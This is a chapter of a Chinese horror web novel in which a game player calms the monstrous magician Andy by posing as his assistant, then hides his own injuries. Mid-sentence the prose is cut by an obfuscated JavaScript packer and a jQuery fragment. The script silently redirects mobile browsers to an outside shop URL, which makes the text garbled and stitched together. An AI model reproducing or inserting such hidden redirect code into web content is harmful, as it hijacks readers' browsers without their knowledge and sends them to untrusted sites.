安迪显然没有料到会有不知死活的人直接冲出来;特别是还有两个的时候。他在空中伸出的、蜿蜒蠕动的枝蔓明显顿了一下。
但现在的他,是怪物;大概对于人类脸的辨识能力早已消失殆尽。他的犹疑,可能只是出于这种形态的本能。
随后,他便发出了令人牙酸的笑声,嘶哑的念着让人头疼的低沉碎碎念。
“呵呵呵……
一群外来之人,胆子倒是不小……”
“今天这场死亡的狂欢,看来会更盛大一些……”
他破碎的眼珠无法聚焦,但每一块瞳孔的碎片却又自带凝视的毛骨悚然,好像无时无刻不在盯着眼前两个不被他欢迎的人类。
两个他口中的异类。
他的眼底缓慢闪烁着幽蓝,像是鲁米诺试剂下的荧光。伴随着他的喃喃低笑和悉悉簌簌的异响,站在后方的许月突然发现两侧的枝条开始如疯了一般的拔节抽枝,以无比的“繁荣”之势生长,顷刻间堵死了走廊的退路。而面前的旧藤击打空气,发出刺耳的破空声,洪水猛兽般扑了过来,扭曲着飞向眼前的人!
许月瞳孔剧烈收缩,下意识的想抬脚后撤;可当脑子里一闪而过祁安的计划时,她咬牙又生生地将动作止住了。抬首时,她才无比震惊地发现……
她的眼前,没有出现哪怕一根枝条。
那些攻击,全都指向了几米开外,最前面的少年——
他的满头褐发,正在呼啸而来的藤蔓带来的空气流下飞舞。
与许月的惊愕完全相反;看着那些铺天盖地的怪异造物,祁安不仅出乎意料的平静,反而嘴角勾起。
果然,与他想的基本一样。
正如祁安之前曾猜测过的、告诉过许月的那样,异化的安迪没有攻击她。或者说,他根本就没想着先攻击她;在这种怪物的眼中,两个平平无奇的人类杀起来不算困难。
从之前看过的线索来看,对于这个因为可能存在的背叛而暴走发疯的怪物,纯粹的杀戮,从来不是他的最终目的。
对于因这个而产生心理扭曲的人,想要报复,快速的死亡往往不能得到快意。
一个一个的,缓慢凌迟,让后来者看着前者痛苦死亡,再在无尽的绝望中死去。
这才是对他们来说,最痛快的解法。
位于袭击前线的祁安没有后退。
他只是定在原地等待着,在那无数的丝蔓即将碰触到他的时候,突然冷笑了一声:
“安迪……
你,真的不记得我了吗?
连你的助理,你都认不出来了吗?”
那四处扩散的爬藤静默了一瞬。
但也只是一瞬。
心中强烈的复仇欲望好像终究是压灭了一丝丝尚存的理智,安迪的眼中重又冒出更加旺盛的深蓝色幽光:“你是……罗伯特……”
“不对,你不是……
我早看出来了……你是外来者。
我看到了你们,看的不可能错!”
他的声音伴随着声带的嗡鸣逐级拔高,断裂声线的摩擦声四周响起,极易让人晕头转向。
藤蔓在这声波的影响下恍若受到了刺激而疯狂生长,再度蜂拥而上,只一瞬间便将祁安围在了中央,攀附上他的身躯与脖颈,紧紧缠绕。
仿佛只需在下一秒,脆弱的青年就将被肢解,寄生,分崩离析。
在死亡的阴霾之下,祁安脸上的表情变了。
但不是恐惧或者惊恐。恰恰相反,他是由面无表情,到嘴角向上扬起一个灿烂的弧度。
纵然那棕黄色的枯藤仍然向着他的四肢延伸,但他却张狂肆意的笑了起来。虽然周围的植物限制了他的动作,但他挣扎着,牵动着死死拽住他的植物,用力抬起手,举起一封信。
是的,一封信。封角上盖着红色的邮章。
普普通通,一如寻常。
唯一不同的是,在白色的信笺之上,画了一个小小的,黄色的日落图案。
但就是这样一封平常的信,被他怼到怪物面前的时候,那四散的疯狂的枝蔓……
——停住了?
“我还以为……你会记得这些东西。”周围都是纠缠的束缚,那感觉好像是在这片人造的寄生密林里生了根,他挪动不得。但祁安依旧举着那封信,眼中带着笑意,亦藏着冷意:
“你好像忘了,是谁在你第一次表演无人问津时,劝你不要气馁,帮你分析卖点所在?
是谁,在所有人认为你前程无望时纷纷离去,却仍然伴在你左右?
是谁,为了你能在更好的舞台上展演,不停的在奔波?
这信件上黄昏剧院的巡回份额,又是谁为你争夺来的?”
他嗤笑了一声:“或许……这些的答案不必我再说。”
“对你的助理尚且这样……安迪·戴维斯。
你可真是……忘如本啊。”
这是一场酣畅淋漓的痛骂。
祁安看似是骂爽了。但许月在他的身后,脸色已经变得惨白。
你这对吗?
这已经不是人了,你是真的不怕激怒他吗?
你剧本里只写了你要告诉他真相,也没写要骂他一顿吧?
你不怕死,我还怕死呢!
许月脸色阴沉的似要滴水,但她愣是深吸一口气站着没动,但背在身后的手上已经出现了一条和之前祁安使用的一模一样的[牵引丝]道具和第一剧目中的长刀。
实在是有必要的话,做这样一个准备还能保底。
毕竟牵引丝无视任何副本制造负面状态,能破除除了人为的所有障碍,将对象拉至身前;虽然前提是对象许可或晕厥失去判断力。
但很快,她有些怔愣住了。
没有料想中的暴怒发作。安迪青灰色的外躯微微颤动着,他眼白之上的瞳孔停止了运动,原本四散漂浮的碎片竟然还有了合拢的趋势。干涩粗哑的声音再度响起:
“他的信……你是罗伯特……”
“如果不是罗伯特,我还能是谁呢?”
见起了作用,祁安的声音放缓了些许,逐渐轻柔——似在安抚眼前的,激动的怪物。“还有身后这位,我们的剧院管理——是她力排众议,为我们开了绿色通道啊。”祁安转头,指了指依旧靠在门边的许月。
“为了帮助我们在剧院内各处随意穿梭,就在刚刚,她都将工作证给我了。”一抹淡淡的白光晕开,他被缠住的手中出现了之前,他让许月给他的道具。
“你……难道都不记得了吗?”
见两人的目光都投向自己,许月强行抑制着发自内心的震慑与恐惧,抬了抬手中的夹板,冷漠的点了点头算是应和。
夹板,刚才祁安提醒她拿出来的东西。上面还夹着一张纸条。
那正是祁安在一切开始之前,为他准备的剧本。
“你应该有这个吧?别忘了,这个会大有用处。在我说出你身份的时候拿出来。
——(^^)”
不知道是他什么时候写的,但确实给了她提醒:作为【剧院管理】,她应当有一个记录表演和出勤的文件夹。
他居然能想到这个。他居然……连自己可能获得的道具都想好了,并且能在那么短的时间内布好局。
许月眼神复杂地看着被吊的微微离地,但仍笑着的、好似胜卷在握的青年。
这个人……
“你太累了,情绪太紧绷了,需要好好的休息知道吗?”
祁安的声音本来就好听:清亮,柔和,仿佛和煦的春风。在他刻意的调整之下,温柔的少年嗓音中蕴含的安定心神的魔力被无限的放大。
“马上就要表演了,你需要的是安安稳稳的排练和充足的睡眠……
至于外来者的事情,交给我,交给我们,好吗?”
祁安抬起头,看向那双有些犹疑的恐怖眸子。
世界沉默了,植物呼吸的声音也按下了暂停键。
随后,在许月惊愕的目光下,无数的枝枝蔓蔓,在缓缓收回那怪物的体内;发丝重新镀上金黄,碧蓝的眼眸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891522|212759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重新凝聚成型。无须一刻,金发蓝瞳的魔术师安迪就重新站在了两人的面前:身着黑色燕尾服,头顶乌黑的高顶礼帽,银丝的眼睛边框在灯光下闪烁着辉光。
——一如所有人一开始见到他的那样。
无论是亲眼目睹,还是借助画像。
单手扶了扶帽檐,恢复原状的安迪重又眯起眼睛,看向眼前的祁安。旋即他冷笑一声,瞥了一眼身侧的许月,随意的从口袋里掏出一张叠了两次的白纸,塞到了祁安的手里。
祁安愣了半秒便伸手,接过了那东西。
“罗伯特,我相信你是你,正如我认识你的那样。
希望……你不会让我失望。”
安迪转身,沿着走廊远去。直到那可怖之人的身影彻底消失在了眼前,许月才彻底松了一口气。
就在这时,身后突然传来“咚”的一声响。
她脸色一变,以为又出现了什么东西,可当她转头看去时,只见祁安,凭借一己之力安抚好最强npc的某人,正靠着墙坐在地上——先前的声音是他滑落在地上发出的动静。原本之前面对安迪时还云淡风轻的脸上此刻布满了虚汗。
许月神色一凛。
出事了?
但随后,半眯着眼睛的祁安看向许月,却突然有些尴尬的笑了。
“那个……能拉我一把吗?
我……有点腿软。”
话语之间,先前对阵安迪的冷如寒冰的气势早已淡去,只剩下了一种……可怜兮兮?
许月:?
她的神色变的有些微妙,但还是伸手将他拉了起来。虽然后怕还未退散,她依旧忍不住调侃道:
“看你一副勇往直前的样子,我还以为你不怕这些怪物呢。”
“哪有,这不是实在没有办法了才会这样做吗?”祁安笑了笑,在站起来后,他靠着墙甚至还伸了一个懒腰。
“这只是一个赌徒的破局方式罢了;很巧,我将它学了过来,还恰好蒙对了。”
虽然脸色有些苍白,然而祁安神采奕奕,完全没有受伤的迹象。
看到这样子,许月抽了抽嘴角。
……还得是你。
果然,他也是怕的。只不过是死马当活马医的赌徒心理罢了。
“既然没事,那我们就讨论一下接下来的事吧。”
现在安迪走了,后场也恢复原样。大部分房间的灯都熄灭着,只有少数几个房间前面的灯还隐隐亮了黄光。而按照剧本杀的搜证思路……
估计,那几个亮着的房间里面就会有重要的物证。
“我们兵分两路,节约时间吧。”
许月说着,指了指地面。
“到时候在这里汇合,我们去找其他人。”
现在,追逐战的鬼打墙也消失了。不知道那些队友怎么样了。搜完证后,必须立刻联系。
……以免,出现一些额外的因果。
他知道这个道理。自然,祁安也不会反对。
但当许月的背影渐渐消失在了前方的拐弯处时,祁安,原本悠哉悠哉地靠着墙的他,却突然慢慢蹲了下去,直至滑落坐在了地面上。
一滴汗珠滑落额前,粘在了有些闪烁的眼睫毛上,面色的白仍未褪去,而血色已经基本看不见了。
一只手抵在太阳穴上,祁安迫使自己睁开有些细了的眼睛,看向自己的另一只手,突然苦笑了两声。
“真是没想到……”
“掉san值的影响,居然这么大啊……”
他背在身后的手早已是鲜血模糊,指甲深深的嵌入皮肉内,留下了大量渗血的痕迹,掌心沾满殷红,。
眼前的视线也有些模糊,头脑发晕,甚至隐隐有着出现幻觉的前兆。还是他用这种疼痛压迫感,才勉强将这种恶心的感觉压了下去,没有露出马脚。
之前说的没事是他骗她的。
那么近距离的接触,怎么可能对普通玩家没有影响呢?
更何况安迪的声音……
听起来就不正常。